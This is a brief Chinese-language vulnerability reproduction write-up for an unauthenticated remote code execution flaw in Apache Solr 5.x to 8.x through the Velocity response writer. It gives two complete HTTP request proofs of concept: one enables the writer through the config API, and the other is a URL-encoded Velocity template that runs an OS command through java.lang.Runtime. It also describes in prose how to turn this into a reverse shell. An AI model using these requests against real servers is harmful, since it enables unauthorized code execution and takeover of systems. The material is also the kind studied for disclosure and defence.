0x01 描述

    攻击者可以在未授权的情况下利用该漏洞,远程发送精心构造的HTTP请求,从而在受影响服务器上进行远程代码执行。

0x02 范围

Apache Solr 5.x至8.x版本

0x03 复现

  • 1.获取path

  • 2.更改设置

    POC

      使用刚才的path替换路径的test
    
      POST /solr/test/config HTTP/1.1
      Host: 192,168.1.1:8983
      Content-Type: application/json
      Content-Length: 263
    
      {
      "update-queryresponsewriter": {
          "startup": "lazy",
          "name": "velocity",
          "class": "solr.VelocityResponseWriter",
          "template.base.dir": "",
          "solr.resource.loader.enabled": "true",
          "params.resource.loader.enabled": "true"
      }
      }
    
  • 3.命令执行

    POC

使用刚才的path替换路径的test

GET /solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27id%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.1.1:8983
Content-Type: application/json
Content-Length: 263

0x04 反弹shell

  • 1.对bash命令进行runtime编码,在进行url编码,即可成功反弹

  • 2.成功反弹到vbs

0x05 修复

  • 官方暂未发布,可关注官网获取补丁或版本更新:http://lucene.apache.org/solr/